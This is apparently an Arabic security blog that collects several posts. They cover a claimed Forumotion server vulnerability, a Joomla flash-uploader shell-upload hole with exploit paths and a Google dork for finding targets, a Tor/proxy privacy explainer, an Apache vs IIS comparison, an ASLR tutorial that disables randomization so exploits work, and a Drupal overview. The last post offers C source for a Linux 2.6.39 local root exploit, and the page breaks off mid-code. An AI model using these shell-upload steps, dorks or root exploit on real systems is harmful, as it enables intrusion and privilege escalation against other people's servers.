إيجاد ثغرة في منتديات أحلى منتدى

السلام عليكم ورحمة الله وبركاته
اليوم بصراحة كان يوما صعبا جدا.. خصوصا المساء... فبعد صلاة المغرب تطورت الامور بشكل سريع لدرجة انني فقد تركيزي على كل شيء نظرا لبعض الامور التي حدثت فجأة.. لكن وبحمد الله بعد بضع دقائق قليلة تطورت الامور بشكل أسرع لتصبح في قمة الإيجابية.. أنا هنا لا أتحدث عن المجال المعلوماتي ولا عن الثغرة ولكنني أتحدث عن نفسي.. وبعدما هدأت ورجع لي تركيزي وخذت مكالمة طمأنتني على بعض أموري التي كانت تقلقني قررت أن أجلس أمام الحاسب لأعمل خطة عمل خاصة بالأيام القليلة المتبقية في هذا الشهر (خصوصا بعد تسلمي لكود دفعة اموالي من جوجل أدسنس... فقد حان موعد الخطة الاخيرة في الشهر كما تعودت عمل ذلك في نهاية كل شهر.. ) بعد جلوسي مباشرة وبعدما تيقنت أن الكثير من الأدوات التي قمت بعملها لا يمكنني الاعتماد عليها خصوصا ان بعض السيرفرات لم تعد تعمل بكفاءة كما كانت من قبل.. قررت أن اخذ مغامرة بسيطة مع سيرفرات شركة أحلى منتدى (وللإشارة انني هنا اقصد الشركة الام بالكامل وليس فقط الفرع العربي.. اي forumotion  و forumactif .. إلخ )
وبالفعل... تحقق ما لم يكن بالامكان... حيث أمكنني إستغلال ثغرة بسيطة جدا بإستغلال قوي عن طريقة أداة بسيطة تمت برمجتها ببضع أكواد لا أكثر لتستغل عدم فلترة في إحدى خدمات السيرفرات لدى الشركة... فقررت أن أستمر أكثر وأكثر.. وبالفعل.. تمكنت بحمد الله من الوصول لعمل استغلال أفضل (وسأعتذر عن عدم نشر التفاصيل ولا نوع الثغرة بالضبط حتى لا أكون سببا في ضرر يلحق بسيرفرات الشركة التي كما نعلم تحمل العديد من المواقع التعليمية والادبية والتقنية والاسلامية.. إلخ)
المهم... إلى حين تدارس الامر بشكل أعمق (لما أفضى له بشكل جيد) انصح كل من لديه منتدى في الشركة ان يقوم بعمل نسخ إحتياطية لديه ان امكن وعدم الاعتماد على النسخ الاحتياطية التي يقوم بعملها الموقع نفسه في سيرفر الشركة.. أعتقد انه هذا غير ممكن لكن على الاقل يمكن عمل نسخة إحتياطية للتصميم وللعناوين الالكترونية للمستخدمين عن طريق عرض وحفظ ايميلاتهم... هذا كنصيحة اولية..
وفيما بعد إن طال الله في العمر وشاء الله لي بكتابة موضوع اخر هنا فسأتحدث بإيجاز عن الامر بإذن الله :)

اما الفكرة من الموضوع كله فهي بكل بساطة للقول بإن الحماية ليست كاملة كما يدعي بعض مستخدمي هذه الشركة وزبنائهم :)

إيجاد ثغرة في منتديات أحلى منتدىو



ثغرة تحميل ملفات في سكريبت جوملا (ثغرة ابلود) - shell uploder bugs

السلام عليكم ورحمة الله
 ثغرة تحميل ملفات في سكريبت جوملا (ثغرة ابلود) - shell uploder bugs
هذه ثغرة في سكريبت جوملا تمكن المخترق من رفع ملفات غير مرغوب فيها ( شل مثلا) :

http://localhost/administrator/components/com_joomla_flash_uploader/tfu/tfu_210.swf 
  مسار الملف : في حالة رفع شل فهو طبعا إما jpg او php
http://localhost//images/stories/shell.php 

بالنسبة لعشاق العم جوجل فيمكنهم البحث عن طريق هذا الدورك :



inurl:index.php?option=com_joomla_flash_uploader 


لمن يستخدمون السكريبت : الترقيع موجود في الموقع الرسمي :)

في أمان الله :)

توضيحات بخصوص اساليب التخفي - The Onion Router

بسم الله الرحمن الرحيم 
يظن البعض بإستخدامه بعض خدمات التخفي على الشبكة من أشهرها البروكسيات على الخوادم الأجنبية أو شبكة “The Onion Router” المعروفة بإ سم Tor بأن بياناته محصنة ولايمكن كشفها لاسيما بأن أغلب موفري هذه الخدمة يضمنوا درجة تشفيرها ضد الكسر وكشف البيانات. في الحقيقة يفشل أغلب الناس في فهم آلية عمل هذه الأنظمة مما يؤدي لكشف هذه البيانات عبر شخص آخر ربما يكون أخطر من مزود الخدمة نفسه.


يسألني البعض, هل ذلك يعني بأن هذه الخدمات لاتقوم بحفظ خصوصية مستخدميها؟

الإجابة: نعم ولا, فعندما قلت نعم هي تقوم فعلاً بتجاوز مراقبة مزود الخدمة ومراقبة الشبكة المحلية في حال كان المستخدم يستخدم شبكة داخلية لشركة أو مؤسسة أو شبكة عامة أو أياً كان, فعلى سبيل المثال لو كان هنالك مستخدم يستخدم TOR لإخفاء سجلات التصفح والإتصال الخاصة به فهذه الخدمة تعد من أفضل الخدمات للتخفي على الشبكة ولكن ذلك لا يمنع من وجود بعض السلبيات أو الجوانب الذي يجب على المستخدم معرفتها التي تنعكس سلباً على الأداء المفترض من إستخدام خدمة التخفي هذه. فلماذا قلت لا؟ لتفسير ذلك يجب علينا أن نفهم كيف يعمل الـ Tor: -


أولاً أنظر إلى الصوره التاليه :-

(مصدر الصوره من torproject.org)




"تور" هو عبارة عن شبكة واسعة من الأجهزة الحاسوبية التي تقوم بنقل البيانات مشفرة عن طريق Nodes إلى أن تصل آخر جهاز في الشبكة الذي يسمى Exit Node

الـ Exit Node يقوم بالتواصل مع الخادم الذي طلبه العميل بإتصال غير مشفر.

في هذا المثال الجهاز Alice هو العميل, كما نرا العميل يقوم بالإتصال عن طريق سهم أخضر "وذلك يعني إتصال مشفر" إلى أن يصل إلى آخر Node في الشبكة ويسمى الـ Exit Node وبعدها يصبح السهم غير أحمر "أي إتصال غير مشفر" حيث يتصل بخادم على الإنترنت وفي هذا المثال إسمه Bob.

من هذا المثال نفهم بأن شبكة Tor تعتمد على الـ Nodes لإيصال البيانات إلى الهدف في الإنترنت, لكن ماهذه "النودز" ؟
"النودز" جميعها عبارة عن خوادم مدارة من قبل مجموعة متبرعين من حماة الخصوصية, حيث يمكن لأي شخص بتحميل برنامج TOR بأن يجعل جهازه أيضاً كـ Node أو Exit
Node




مربط الفرس هنا, ماذا لو قمنا بتشغيل الخادم كـ Exit Node ؟ في هذه الحالة طبعاً سوف نكون آخر حلقة في سلسلة التشفير وبالتالي سنتواصل مع الخوادم الخارجية ببيانات غير مشفرة ونستقبل الأجوبة غير مشفرة أيضاً ثم نعيدها لشبكة التور مشفرة إلى أن تصل للعميل مرة أخرى.

بإختصار, لو كان لدينا خادم وقمنا بإعداده ليعمل كـ Exit Node وليس Node عادي, فهنا يمكننا التنصت على الإتصال بطريقة Monkey in the Middle الكلاسيكية, ويثبت هذا الكلام البحث الذي قام به السويدي Dan Egerstad حيث قام بتسريب بيانات أكثر من 100 بريد إلكتروني وبيانات سفارات وبعض الحكومات التي تستخدم هذه الخدمة لحفظ خصوصيتها !

للمزيد من التفاصيل بخصوص هذا البحث يرجى زيارة هذا الرابط: 
schneier.com/blog/archives/2007/09/anonymity_and_t_1.html

ربما سوف يقول البعض بأن هذا البحث الذي تتحدث عنه قديم من عام 2007, أن أضمن لكم بأن المشكلة لا زالت موجودة وتعمل بأكمل وجه وبنفس درجة الخطورة! لن أخوض في التفاصيل وكيف يتم التنصت, لأن هذا قد يعرضني للمسائلة القانونية.

لكن مزودين الخدمة في العادة يقوموا بمنع تشغيل خدمات الـ TOR على خوادمهم, بل بعضهم يقوم بالمحاكمة قضائياً إن وجدوا أنك تقوم بتشغيل هذه الخدمة.

طبيعة البيانات التي تدور في هذه الشبكة خطيرة جداً, بحكم البحث الذي قمت بإجراءه بصفة شخصية, وجدت بأن أغلب البيانات لنشاطات إباحية خطيرة مثل Child pornography وهو جنس الأطفال وبعض النشاطات الأخرى المشبوهة والخطيرة جداً التي لن أتطرق لنوعيتها ابداً لكن لا أنصح أي أحد ابداً بتشغيل Exit Node على أي خادم أو حتى إتصاله بالمنزل.

فما الفائدة من إستخدام TOR إذا كان من الممكن للـ Exit Node من التنصت على الإتصال؟ أترك لكم الإجابة.

النقطة الثانية, ربما الآن البعض يسأل وماذا عن البروكسي أو الـ VPN ؟

مرة أخرى, يجب أن نعرف آلية عمل هذه الخدمة حتى نقدّر مستوى أمانها , أنظر إلى الصوره التاليه (3):-

(مصدر الصوره من publicproxyservers.com)




كما نرى في الصورة (3) , جهاز الكمبيوتر الذي يستخدم إتصال بمساعدة بروكسي خارجي يقوم بالإتصال بمزود الخدمة ومزود الخدمة يقوم بتحويل الإتصال إلى خادم البروكسي ومن هناك يقوم خادم البروكسي بالتواصل مع الهدف المراد بدل من خادم مزود الخدمة مع العلم بأن الـ VPN تقريباً يعتمد على نفس الآلية في الإتصال.
حسناً, بإعتبار بأن الإتصال مشفر مابين العميل وخادم البروكسي, هذا يعني بأن خادم البروكسي يقوم بفك تشفير الإتصال ونقل البيانات بشكل خام إلى الخادم الهدف المراد التواصل معاه, بالتالي خادم البروكسي هنا يمكننا من خلاله إجراء أسلوب MitM لإستخراج البيانات التي يتم تمريرها ومعرفة كافة تفاصيلها وبالتالي نستنتج بأن خوادم البروكسي أيضاً لا يمكن الثقة بها.
ومن تجربتي الخاصة قمت بتنصيب خادم Squid على المنفذ الإفتراضي لتحليل البيانات التي تمر من خلاله وبالتأكيد النتيجة كانت مذهلة, تم استعراض جميع البيانات وعرض جميع المواقع التي جاري تصفحها وجلسات الكوكيز الخاصة بها.

الخلاصة:

لاتستخدم خدمات التخفي العامة في تصفح أي شيء قد يدل إليك, مثل البريد الإلكتروني, الحسابات البنكية, الفيس بوك, وغيره من الحسابات.
حاول إستخدام SSL في حال أضطررت لإستخدام خدمات التخفي العامة, لكن هذا لن يجعل SSL آمنة بنسبة 100% لأنه من المعروف بأنه يمكن تزوير هذه الشهادات.
عدم إستخدام البروكسيات التي ينشرها البعض في المنتديات والمواقع.
فكر قبل إستخدام خدمات الـVPN من بعض الشركات, لأنه هذه الشركات تحتفظ بسجلات الإتصال الخاصة بعملائها في حال تم طلبها من قبل جهة حكومية كلـ CIAأو الـ FBI.
TOR ليس حل آمن للتخفي على الشبكة, لكنه يؤدي الغرض بشكل كبير.
مزود الخدمة لديك يمكنه دائماً معرفة نشاطك في الإنترنت ويحتفظ بسجلات لجميع المواقع وجميع المنافذة التي تستخدمها في اتصالاتك بالشبكة.
أفضل حل للخصوصية في وجهة نظري الشخصية هو إستخدام خوادم خاصة وتركيب عليها خادم VPN أو خادم Squid أو خلافة من الخدمات المماثلة. لكن تذكر, مزود الخدمة الخاص بالخادم يمكنه الإطلاع على سجلاتك.
بالتوفيق للجميع 

apache vs iis - مقارنة ميزات وعيوب اباتشي و إيس


apache vs iis - مقارنة ميزات وعيوب اباتشي و إيس 
 Apache HTTP Server



المميزات : مجاني ، ذو مصدر مفتوح ، قابل للتوسعه عن طريق الماجولات .


العيوب : الدعم المحدود ، عدم وجود الـ SSL في النسخة الأم ،


يحتاج إلى المهارة !


الاباتشي برنامج سيرفر قديم و موفق و محبوب لأقصى درجة


إلى درجة انه على إحصائيات شركة Net craft اكثر من نصف مواقع الإنترنت تستخدم هذا السيرفر .



نسبة كبيرة من نجاح هذا السيرفر تعود إلى شهرة البرنامج القديمة


بين المستضيفين للمواقع و مقدمي خدمات الإنترنت ISP


تتواجد نسخ كثيرة له تتناسب مع أنظمة تشغيل مختلفة


مثل الويندوز و الماك و OS X و اليونيكس .



و من ميزاته القوية هو انه مصمم على الماجولار:


أي انه يمكنك إضافة باقات أخرى له لكي ترفع من أداه


بدون الحاجة إلى تغير أشياء معقدة في اصل البرنامج .


يمكنك تحميل النسخة الأم مجانا من موقع


www.apache.org


و لكن ميزاتها محدودة و يجب عليك إضافة بقية الباقات


و الإضافات لك تستفيد من بقية الامتيازات للـ SSL .


و يمكنك شراء النسخة التجارية منه من شركة رد هات بقيمة 995 دولار اسمه :


Secure Web Server 3 Stronghold


و المفيد من هذا التصميم للاباتشي انك ستضيف الأشياء التي تحتاج لها فعلا


و ستترك الأشياء التي لا تحتاج لها


و هذا ما سيرفع من أداء و سرعة السيرفر


مثلا إذا أردت الاستفادة من ميزات FrontPage Extension


يكفي إضافة الباقة فقط .


تنظيمات الاباتشي تتم عن طريق تحرير الأسطر الموجودة


في الملفات النصية و هذا مناسب جدا للمبرمجين


الذين يعتمدون على الكتابة و لكنه سيسبب مشاكل


للذين تعودوا على الواجهة الرسومية


و مع ذلك يوجد برنامج Comanche الذي بإضافته للاباتشي


يمكنك التحكم بخيارات الاباتشي بواسطة واجهة رسومية


و لكن الأمر الذي يجب عليك أن تنتبه له انه مع كل تغير


يجب أن تعيد تشغيل الاباتشي لكي تكون التغيرات نافذة المفعول



الـ Authentication و الأمن في النسخة الأم محدودة


لذلك ستستخدم ملفات .htaccess للتحكم بدخول المستخدمين


الـحماية للـ LDAP غير ممكنة إلا بإضافة باقات إضافية



الاباتشي قابل للتوسعة بشكل كبير



و يدعم سكربتات السي جي آي و الانكلود


و


إضافة أنواع الـ MIME سهلة ، و تتم إضافة الباقات المساعدة


مثل البيرل و البي اتش بي و emulates ASP و غيرها


من اللغات بالسهولة و كأنك تضيف Plug-in للفوتوشوب


و ستحتاج إلى باقات إضافية لدعم الـ NSAPI و Java servlet


قوة الاباتشي بعد أن خضع للتجربة كانت متوسطة


و يعمل بشكل افضل على اليونيكس من الويندوز .


النسخة الثانية تتميز بالثبات و أنها تعمل افضل على الويندوز .


الخلاصة :



الاباتشي برنامج سيرفرات مرن قابل للتغير بسهولة


القوة و الأمن فيه متوسطة و بيئة عمله المفضلة


هي اليونيكس و هو ليس جيد على الإطلاق


للشركات المستضيفة و الكبيرة جدا .




IIS


طيب ياحلوين الان نبي نفهم ماهو IIS


Internet Information Services (IIS) 5.0


المميزات : يعتبر جزء من الويندوز( OS )


سهولة الاستخدام بشكل رهيب و الدعم الفني القوي .



العيوب : ضعف الأمن ، صعوبة تنظيمه للاستفادة المثلى


من قوة الجهاز الخادم .


الاي اس اس يعتبر برنامج السيرفر الافتراضي للويندوز


من شركة مايكروسوفت ، و اعتمادا على إحصائيات شركة Netcaft


هذا برنامج السيرفر هذا يستخدم في 29 من مواقع الإنترنت


و هو يأتي مجاني مرفقا مع ويندوز 2000


و لا يعمل على أي OS آخر غير الويندوز



ارتباطه القوي مع الويندوز و عملهما معا بنظام جعله


سهل الاستخدام و التحكم و جعله يخرج بنتائج ممتازة بعد الاختبار


إذا كنت تريد برنامج سيرفر سهل الاستخدام


يعتمد على تقنيات مايكروسوفت مثل


( ASP ، COMT ، Studio Visual )


و بقيمة رخيصة نسبيا سيكون IIS اختيارك المناسب


مايكروسوفت بذلت جهودا كبيرة إلى أن جعلته بسيطا


سهل الاستخدام بعيد عن التعقيد


و اعتقد أنها نجحت بامتياز في هذا الجانب


بعد أن تقوم بتنصيب البرنامج على الويندوز اذهب إلى



لوحة التحكم و في فولدر Administrative Tools


سيتم إضافة رابط جديد باسم Internet Service Manager بعد الدخول عليه


سيظهر برنامج مشابه للإنترنت اكسبلورر يمكنك من خلاله


السيطرة و التحكم بالسيرفر . و السيطرة عن بعد أيضا قابلة للاستخدام عن طريق الويب



في التنصيب سيتم السماح للمستخدم بتغير الكثير من الأشياء


و هذا ما سينعكس سلبيا على الأمن و هذا ما أثبته فيروس كود ريد و نيمدا


و أثبتت دراسة شركة Netcaft أن المواقع التي تستخدم الاي اس اس


عندما تتعرض لأضعف الهجمات من الفيروسات تظهر الضعف


و تكون معرضة للإصابة بسهولة . و لكن إذا كنت تستخدم IIS


يجب عليك استخدام الـ Tool Lockdown و متابعة الخدمات الأمنية


التي تقدمها مايكروسوفت و التي تدعي أنها سترفع نسبة الأمن


بقوة في نسخة IIS6 و ستحد من حرية المستخدم في تغير الخيارات أثناء التنصيب .


كل ما تنتظره من سيرفر موجود فيه مثل إنشاء السيرفرات المجازية


و خاصية التحكم و أعمال التحكم و المحدوديات بحسب الاي بي


أحيانا ستحتاج إلى إضافات لاستخدام بعض خصائص


الـ Authentication ، مثل (( Internet connector ))


الذي تقدمه مايكروسوفت بقيمة 1999 دولار


بالإضافة إلى أن ميزة الـ Reliable Restart


ستقوم بعملية إعادة تشغيل أتوماتيكية إذا توقف السيرفر عن العمل


أضف إلى ذلك الدعم لــ SSL و TLS و SGC و Fortezza و Kerberos و WebDAV


و يمكنك تعريف الـ MIME بالسهولة و إنشاء صفحات لإظهار أخطاء


HTTP و حتى تستطيع ترتيب محتويات الموقع على أساس تعاريف RSAC .


و من الطبيعي أن يكون البرنامج هذا داعما قويا


لتقنيات مايكروسوفت مثل ASP و Server Extensions FrontPage


و لكن مع الأسف لا يدعم الـ JSP و لا البي اتش بي و البيرل


و بقية لغات برمجة ويب باستثناء الـ CGI .


أجزاء IIS الأخرى تتكون من سيرفر FTP


( لنقل البرامج و الملفات)


و سيرفر NNTP


(للمجموعات الأخبارية )


و سيرفر SMTP


( للبريد الإلكتروني )



الخلاصة :


أن الـ IIS اختيار مثالي لمن يريد أن يستخدم الويندوز


و تقنيات مايكروسوفت و نقطة ضعفه تكمن في نقص الأمن


و انه معرض للفشل بسهولة أمام حتى اصغر هجمات الفيروسات .

بنية الذاكرة الإفتراضية و حماية ASLR

السلام عليكم ورحمة الله وبركاته





كود high.c
    #include<stdio.h>
    #include<stdlib.h>
     
    int mulp(int a , int b)
    {
            int c;
     
            c = a * b;
     
            return c;
    }
     
     
    main(int argc, char **argv)
     
    {
     
            int x = 0, y = 0,  z = 0;
     
            printf("Enter the first number : ");
            scanf("%d", &x);
     
            printf("Enter the second number : ");
            scanf("%d", &y);
     
            z = mulp(x,y);
     
            printf("%d*%d = %d\n",x, y, z);
     
           
            exit(0);
     
    }
     
     
     
    #include<stdio.h>
    #include<stdlib.h>

    int mulp(int a , int b)
    {
            int c;
     
            c = a * b;

            return c;
    }


    main(int argc, char **argv)

    {

            int x = 0, y = 0,  z = 0;

            printf("Enter the first number : ");
            scanf("%d", &x);

            printf("Enter the second number : ");
            scanf("%d", &y);

            z = mulp(x,y);

            printf("%d*%d = %d\n",x, y, z);

          
            exit(0);

    }

://pastebin.com/LW3
بنية الذاكرة الإفتراضية


*) كل عملية (process) تحمل في نفس المكان للذاكرة الإفتراضية بغض النظر عن الموقع الحقيقي للذاكرة الفعلية


*)كل عملية process تشعر وكأنها هي العملية الوحيدة في النظام ، وتتمتع بكامل الذاكرة وكأنه لايوجد عمليات أخرى

*)النظام ووحدة المعالج المركزية يشتركان مع بعضهما في الحفاظ على هذه الفكرة








تذكروا دائما أن هذه هي الذاكرة الإفتراضية (virtual memory ) وليست الذاكرة المادية (physical memory)

كل برنامج يشتغل وكأنه هو البرنامج الوحيد الذي يشتغل في الجهاز وهذا مايفسر لمذا يظهر لنا أن البرنامج يحجز كل الأماكن العلوية والسفلية في الذاكرة وهذا لأن نظام التشغيل لخص لنا طبقة الذاكرة وحذف كل ماهو غير واضح بالنسبة لنا يعني نريد رؤية برنامج في الذاكرة فنراه إلا هو كأنه هو الوحيد فيها .





ASLR
نفتح ترمينال ونشغل السكريبت ثم نتركه هكذا :



تركنا البرنامج هكذا ليبقى في طور التشغيل ونقدر نشوف كيف حيكون شكلو في الذاكرة الإفتراضية .
ثم نفتح ترمينال جديد ونذهب لهذا المسار وتأكد أنك بصلاحية روت .



ثم نفتح الملف maps






نلاحظ أن هذا العنوان 08048000 يمثل أسفل الذاكرة وكنت قد ذكرته في الصورة الأولى تبع الشرح .
أيضا لاحظ أن إنطلاقا من هذا العنوان تزداد قيمة عناوين الذاكرة يعني هو أسفل الذاكرة .

ملاحظة : لا تستوعب الأمور إعتمادا على الأعلى والأسفل تبع الصورة ولكن إستوعبها إعتمادا على الأعلى والأسفل تبع الذاكرة

يعني عندما تشوف صورة توضيحية تبع مكدس أو تبع عناوين الذاكرة دائما ثبت ماهو أسفل الذاكرة وماهو أعلى الذاكرة

فممكن تكون الصورة مقلوبة ومذكور فيها أن أعلى الصورة هو أسفل الذاكرة وأسفل الصورة هو أعلى الذاكرة فتبقى القواعد نفسها ... لكن أنت تظن أنها قواعد أخرى فتختلط عليك الأمور ... دائما ركز على إتجاهات الذاكرة أولا .




الآن نقوم بإيقاف البرنامج ونشغله مرة أخرى ونتبع نفس الخطوات السابقة إلى أن نعرض شكله في الذاكرة :




مقارنة بالصورة السابقة

نلاحظ في الأول أن عنوان أسفل الذاكرة بقي كما هو ولكن بقية العناوين كلها تغيرت حتى عنوان المكدس أيضا تغير .

فلمذا تغيرت ؟ مالذي حصل بالظبط؟


نفتح ترمينال جديد ونذهب على هذا المسار كما في الصورة التالية ونعرض الملف randomize_va_space ونغير قيمته إلى 0



الآن نوقف البرنامج ونشغله ثم نذهب لعرض شكله في لذاكرة كما في الصورة التالية :






الآن نوقفه مرة أخرى ونعيد عرض شكله في الذاكرة كما في الصورة التالية :




نلاحظ أن عناوين المقاطع في الذاكرة بقيت كما هي ولم تتغير وهذا بعدما أوقفنا عملية التوزيع العشوائي لمقاطع الذاكرة الإفتراضية أو (ASLR) وهي حماية للنظام من الهجمات المتعلقة بعناوين هذه المقاطع مثل هجمات البافر أوفر فلو
وجعل هذه الهجامات صعبة التحقق.

وهذا مايفسر لمذا بعض أكواد الثغرات تفشل معنا وذلك لأن العناوين متغيرة من نظام إلى نظام فيجب إيقاف هذا التوزيع العشوائي وتعديل كود الثغرة بالعناوين المناسبة .


وهذا مامعنى كل عملية تحمل في نفس المكان للذاكرة الإفتراضية بغض النظر عن الموقع الحقيقي للذاكرة الفعلية

نظام إدارة المواقع الرائع دروبال - drupal


السلام عليكم ورحمة الله وبركاته


"دروبال" هو نظام إدارة محتوى Content Managment System (و ليس مجرد نظام مدونات كما يظن البعض)... وفيما يلي موضوع موجز عن هذا النظام الرائع :)

مقدمة عن دروبال مقتبسه من ويكيبيديا(الموسوعة الحرة):

تكتب بالعربية (دروبال)، وهي تعريب لفظي للإسم الإنجليزي Drupal، الذي أتى بدوره من الهولندية Druppel، والتي تعني بالعربية قطرة كما في "قطرة ماء".

نظام إدارة المحتوى :
يحتوي دروبال على بذرة اساسية، أو ما يمكن أن يسمى بقلب النظامCore. يدعم قلب النظام إضافة دوال برمجية تكتب خصيصا لتتوافق مع النظام. توفر هذه الدوال إمكانيات إضافية عديدة, منها: إمكانية إضافة أنظمة للتجارة الإليكترونية، و ألبومات الصور، وأنظمة إدارة القوائم البريدية، والدمج مع CVS.

إن تصميم نظام الدوال البرمجية في دروبال، بالإضافة إلى قاعدة الشيفرات الموثقة جيداً يجعلان من الأسهل بمكان على الأشخاص ذوي المعرفة بلغة بي إتش بي أن يكتبوا شيفرات تضيف مزايا جديدة للبرنامج. يستخدم البرنامج بكثرة في بناء المواقع التي تركز على مجموعات المستخدمين.

دعم اللغة العربية :

يدعم نظام دروبال اللغة العربية بواسطة دالة صممت من قبل مبرمجين في مجموعة مستخدمي جنو/لينكس مصر،حيث يمكن للنظام عرض اللغة العربية و التعامل معها بصورة طبيعية. و قامت المجموعة أيضاً بترجمة واجهة المستخدم الخاصة بالبرنامج للعربية; وبذلك أصبح البرنامج متوفراً بواجهة مستخدم عربية كاملة.

الموقع الرسمي لدروبال : www.drupal.org


الآن بعد هذه المقدمة أريد أن أخذ المكيروفون قليلاً و أتكلم , حسناً فلنأتي إلى مستخدما العربي الآن و لنلقي نظرة على ما يفعله بموقعه عادة , فقد جرى الفلكلور العربي بأن يشتري المستخدم مساحة ثم يقوم بتركيب نسخة منتدى VB مع مجلة ساذجة و بعض الهاكات و هكذا حالنا في كل مواقعنا و لكن أحداً لا يجرؤ على المغامرة و استخدام أساليب جديدة , لماذا لم نفكر بأننا نحتاج إلى شيء جديد يناسبنا أكثر من مجرد منتدى .
إن الدروبال أو بشكل نظام إدارة المحتوى هو عباره عن نظام متعدد , حيث يحتوي على موقع متكامل من منتدى إلى مقالات إلى مدونات إلى معارض صور و مركز تحميل ملفات و نظم إدارة صلاحيات و العديد بل الآلاف من الإضافات التي لسنا بصدد ذكرها الآن ,و كما نعلم بأن هناك أنظمة أدارة محتوى أخرى متل جملة Joomla التي تتمتع بشهرة أكثر من دروبال نظراً لموقع دعمها العربي و كثرة استخدامها (كمجلة ليس إلا) ,و لكن ما يميز دروبال حقاً على باقي الأنظمة بأنه ليس نظام جامد بل أنه يسمح لكل أعضاء الموقع المساعدة في بناء الموقع ضمن صلاحياتهم المحدده من قبل مدير الموقع..
لنأخذ مثال عن ذلك : لنفرض بأن مكسات مثلا يريد تخصيص نوع من المواضيع أو بالأحرى المحتويات اسمه (أعمال فريق ترجمة مكسات ) فإنه يمكن ببساطة إنشاء نوع جديد من المحتويات اسمه أعمال فريق ترجمة مكسات و يمكن وضع صلاحيات خاصة له أو بناء خاص به -و ليس كبناء أي موضوع في المنتدى- و يمكنك تخصيص البحث حصراً في هذه المواضيع , كما يمكن تضمينها في بحث عام .
لنأخذ مثال آخر : لنفرض أنه تم تركيب معرض صور على الموقع عندئذ سوف يتم إنشاء نوع من المحتويات الجديدة اسمه "صورة" و عند البحث في المحتويات الجديدة سوف يتم عرض المواضيع الجديدة في المنتدى و الصور الجديدة و أي أنواع أخرى من المحتويات .

يمكن أن أسرد بعد الحسنات التي لاحظتها من خلال استعمالي له :

السرعة الكبيرة التي يتمتع فحسب تقرير لا يتجاوز تحميل الصفحة أكثر من ثانية و قليل
يعتمد في الستايل الخاص به على ملفات Css و بالتالي يمكن تعديل الستايل ببساطة و سهولة شديدة كأن تغير اللون أو الجهة أو القوائم .
إذا أردت إضافة أي موديولModule أو ما يسميه مستخدمنا العربي "الهاك" أو الإضافة فإنه يمكن ذلك بسهولة بدون تعدلي الملفات الأساسية للموقع لذلك لا تحدث أي مشاكل و يمكنك تثبيت أي موديول أو حذفه كأنك تحذف برنامج من الويندوز دون أية مشاكل.
لصفحة الموديولات في دروبال (هناك الآلاف منها):
drupal.org/project/Modules
دروبال يدعم العربية و يسمح لك بإضافة تعريباتك الخاصة أو تعديل التعريب الخاص بك .
دروبال محمي بشكل قوي و يقوم بإخفاء لواحق ملفات php.
يمكنك إضافة ما تريد من الموديولات عليه : موديولات الإدارة , الصور , الملفات, الجافا و الأجاكس , المحتويات ,إضافات المنتدى ,الصلاحيات و الكثير الكثير.
يمكن ربطة بأنظمة أخرى متل منتديات vb أو phpbb أو Wiki , أو محررات نصوص المعتمده على الجافا و يتوافق مع هذه الأنظمة بشكل جيد بواسطة موديولات ربط .
منظر مشرق للموقع و تنظيم تلقائي للصفحة الرئيسية بدون أن تتدخل بها .
حجم النسخة صغير جداً بحدود الــ 1 ميغا بايت و قليل , و حجم الموديولات الخاصة به أو الستايلات صغير أيضاً لا يتعدى 100 كيلو بايت للستايل أو 50 كيلو للموديول (فهل يمكنك تصور هذا).




و الكثير من الميزات الأخرى سوف أكتبها حالما أتذكرها , أما سلبياته فيقال بأنه ضعيف من ناحية الضغط على قاعدة البيانات و لكن موقع دروبال الرسمي يحوي على أكثر من 40 ألف عضو بدون أي مشاكل, أيضاً الشيء الوحيد الذي أزعجني فيه هو المنتدى فهو ليس متطوراً كــ phpbb أو VB.

وفيما يلي بعض الصور المختارة :

http://0.tqn.com/d/webdesign/1/0/v/Q/1/drupal_install1.png

http://www.easy-micro.org/images/logiciels/cms/drupal/drupal_admin.gif

http://blog.1001actus.com/files/drupal.jpg





http://www.gomediazine.com/wp-content/images/2008/03/drupal_status_report.jpg



أتمنى لكم تجربة ممتعة... في أمان الله :)

لوكال روت 2.6.39 - localroot

السلام عليكم ورحمة الله وبركاته..
كما في العنوان.. (مكتوب بالسي) :

localroot c لوكال رووت
 إليكم الكود :


#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    int n;
    int sock;
    char cms[CMSG_SPACE(sizeof(int))];
   
    if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;

    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}

int recv_fd()
{
    int listener;
    int sock;
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    struct sockaddr_un addr;
    char cms[CMSG_SPACE(sizeof(int))];

    if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
        return -1;
    memset(&addr, 0, sizeof(addr));
    addr.sun_family = AF_UNIX;
    strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
    unlink(socket_path);
    if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
        return -1;
    if (listen(listener, 1) < 0)
        return -1;
    if ((sock = accept(listener, NULL, NULL)) < 0)
        return -1;
   
    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;

